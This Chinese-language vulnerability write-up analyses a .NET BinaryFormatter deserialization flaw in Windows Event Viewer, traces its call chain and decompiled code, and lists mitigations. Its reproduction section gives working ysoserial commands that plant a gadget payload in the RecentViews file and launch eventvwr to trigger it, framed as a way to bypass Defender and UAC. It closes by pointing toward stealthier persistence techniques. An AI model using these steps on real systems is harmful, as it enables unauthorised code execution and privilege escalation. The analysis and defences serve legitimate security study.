干货 | 最新Windows事件查看器.NET反序列化漏洞分析
字数 1274 2025-08-07 00:34:54
Windows事件查看器.NET反序列化漏洞分析与利用
漏洞概述
本漏洞是Windows事件查看器(Event Viewer)中存在的一个.NET反序列化漏洞,由安全研究员Orange Tsai于2021年4月26日公开披露。攻击者可以通过构造特定的序列化数据文件,在用户打开事件查看器时触发反序列化操作,从而执行任意代码。
漏洞背景
- 漏洞类型:.NET反序列化漏洞
- 影响组件:Windows事件查看器(eventvwr.msc/eventvwr.exe)
- 攻击场景:
- 绕过Windows Defender
- 绕过用户账户控制(UAC)
- 本地权限提升
漏洞复现
准备工作
- 确保系统中有ysoserial工具
- 建议先手动打开一次事件查看器,确保系统创建必要的目录结构
攻击载荷生成
使用两种不同的payload生成方式:
- DataSet载荷(原始PoC):
ysoserial.exe -o raw -f BinaryFormatter -g DataSet -c calc > %LOCALAPPDATA%\Microsoft\Eventv~1\RecentViews
- TypeConfuseDelegate载荷(替代方案,成功率更高):
ysoserial.exe -o raw -f BinaryFormatter -g TypeConfuseDelegate -c calc > %LOCALAPPDATA%\Microsoft\Eventv~1\RecentViews
触发漏洞
可通过以下方式触发:
- 手动打开Windows事件查看器
- 使用命令行:
cmd /c eventvwr.msc
# 或
cmd /c eventvwr.exe
技术原理分析
漏洞调用链
完整的漏洞调用链如下:
View -> FormView -> EventViewerHomePage -> EventHomeControl -> UpdateUIDelegate(委托) -> UpdateUI -> UpdateRecentViewsUI -> UpdateRecentViewsListViewUI -> RecentViewsDataArrayList -> LoadDataForRecentView -> LoadMostRecentViewsDataFromFile -> BinaryFormatter().Deserialize
关键代码分析
- EventHomeControl初始化:
public EventHomeControl(){
this.InitializeComponent();
UIControlProcessing.SetControlSystemFont(this);
UIControlProcessing.SetControlTitleFont(this.eventViewerLabel, this.Font);
this.updateUI = new EventHomeControl.UpdateUIDelegate(this.UpdateUI);
this.enableControl = new EventHomeControl.EnableControlDelegate(this.EnableControl);
}
-
UpdateUI方法:
- 处理多种UI更新操作
- 当case为1时,调用
UpdateRecentViewsUI更新最近访问信息
-
RecentViewsDataArrayList属性:
internal ArrayList RecentViewsDataArrayList {
get {
this.LoadDataForRecentViews();
return EventsNode.recentViewsDataArrayList;
}
}
- 反序列化关键代码:
private void LoadMostRecentViewsDataFromFile() {
try {
if (!string.IsNullOrEmpty(EventsNode.recentViewsFile) && File.Exists(EventsNode.recentViewsFile)) {
FileStream fileStream = new FileStream(EventsNode.recentViewsFile, FileMode.Open);
object syncRoot = EventsNode.recentViewsDataArrayList.SyncRoot;
lock (syncRoot) {
EventsNode.recentViewsDataArrayList = (ArrayList) new BinaryFormatter().Deserialize(fileStream);
}
fileStream.Close();
}
} catch (FileNotFoundException) {}
}
文件路径构造
漏洞利用的关键文件路径构造逻辑:
Environment.SpecialFolder.CommonApplicationData->C:\Users\用户名\AppData\Roaming- 使用
LocalApplicationData替代 ->C:\Users\用户名\AppData\Local - 最终路径:
C:\Users\用户名\AppData\Local\Microsoft\Event Viewer\RecentViews
防御与缓解
-
临时缓解措施:
- 限制对
%LOCALAPPDATA%\Microsoft\Event Viewer\目录的写入权限 - 删除已存在的RecentViews文件
- 限制对
-
长期解决方案:
- 应用微软官方补丁
- 在代码中使用安全的序列化替代方案
-
开发建议:
- 避免使用不安全的BinaryFormatter
- 实现自定义的SerializationBinder来限制反序列化类型
扩展学习
-
.NET反序列化漏洞:
- 参考GitHub上的相关解读文章
- 关注dotNet安全矩阵公众号获取最新信息
-
类似漏洞模式:
- 研究其他使用BinaryFormatter的应用程序
- 分析MMC管理控制台的其他组件
-
高级利用技术:
- 结合其他漏洞实现权限提升
- 开发更隐蔽的持久化技术
总结
本漏洞利用Windows事件查看器在加载最近浏览记录时的反序列化操作,通过构造恶意的RecentViews文件实现代码执行。理解其原理不仅有助于防御此类漏洞,也为发现类似漏洞提供了思路框架。